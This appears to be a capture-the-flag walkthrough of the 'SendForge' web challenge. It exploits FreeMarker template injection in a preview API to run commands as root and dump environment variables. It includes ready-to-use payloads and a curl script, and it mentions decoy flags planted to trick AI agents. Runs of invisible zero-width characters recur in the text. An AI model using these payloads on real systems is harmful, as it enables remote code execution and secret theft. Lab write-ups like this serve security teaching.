← Back to Writeups
CUSTOMEasyWeb

SendForge

XESXOR9/2/20263 min read
#web#custom#easy#decoy_flag_recognition#freemarker_ssti_execute_builti#process_env_disclosure#template_preview_abuse

SendForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, freemarker_ssti_execute_builtin, process_env_disclosure, template_preview_abuse

Summary

Walkthrough of the CUSTOM Web SendForge. Task: Email marketing platform with FreeMarker template editor allowing server-side template preview, SSTI vulnerability. Solution: Injected FreeMarker Execute payload via template preview API to achi

Description

SendForge is an email marketing platform built by ForgeComm Technologies. It lets businesses design email campaigns, manage subscriber lists, and track delivery analytics. The platform features a rich template editor allowing users to create dynamic email templates with variable interpolation for personalized messaging. The goal is to explore the application's template rendering capabilities and find a way to read a flag file hidden on the server.

English summary: A Java/Spring Boot email marketing platform with a FreeMarker template editor. The template preview endpoint compiles and renders user-supplied templates without sandboxing, enabling Server-Side Template Injection (SSTI) leading to Remote Code Execution. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123

Analysis

The application is a Java/Spring Boot app (identified by JSESSIONID cookie) running behind nginx/1.25.5. Key findings:

  1. Decoy flags everywhere — HTML comments and hidden divs contain fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) designed to trick automated scanners and AI agents
  2. Template editor at /templates/new explicitly states it uses FreeMarker syntax
  3. Preview API at POST /api/templates/preview accepts raw template body as JSON and returns rendered HTML
  4. No sandboxing — FreeMarker's dangerous built-ins like ?new() are not restricted, allowing instantiation of arbitrary Java classes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical vulnerability is that the preview endpoint directly compiles user-supplied FreeMarker templates without any security restrictions, enabling the freemarker.template.utility.Execute class to be instantiated for OS command execution.

Solution

Step 1: Login and Discover Template Editor

Login with provided credentials and navigate to the Templates page:

POST /login
email=user@test.com&password=password123

The /templates page states: "Templates use FreeMarker syntax for dynamic content" with available variables like ${subscriber.firstName}, ${campaign.subject}, etc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Identify Preview Endpoint

The template editor at /templates/new contains JavaScript with a previewTemplate() function that sends:

http
POST /api/templates/preview
Content-Type: application/json

{"body": "template_content"}

Step 3: Confirm SSTI

http
POST /api/templates/preview
Content-Type: application/json

{"body": "${7*7}"}

Response: {"html":"49"} — arithmetic expression evaluated server-side, confirming SSTI.

Step 4: Achieve RCE via FreeMarker Execute

Used the classic FreeMarker SSTI payload leveraging freemarker.template.utility.Execute: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

http
POST /api/templates/preview
Content-Type: application/json

{"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}"}

Response: {"html":"uid=0(root) gid=0(root) groups=0(root)..."} — full RCE as root.

Step 5: Extract Flag from Environment

http
POST /api/templates/preview
Content-Type: application/json

{"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"env\")}"}

Response contained: FLAG=FLAG{REDACTED}

Full Exploit (curl one-liner)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
#!/bin/bash
# Login and get session
SESSION=$(curl -s -c - -X POST 'https://TARGET/login' \
  -d 'email=user@test.com&password=password123' | grep JSESSIONID | awk '{print $NF}')

# Execute SSTI payload
curl -s -X POST 'https://TARGET/api/templates/preview' \
  -H 'Content-Type: application/json' \
  -b "JSESSIONID=$SESSION" \
  -d '{"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"env\")}"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, freemarker_ssti_execute_builtin, process_env_disclosure, template_preview_abuse was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • SendForge • Difficulty: Easy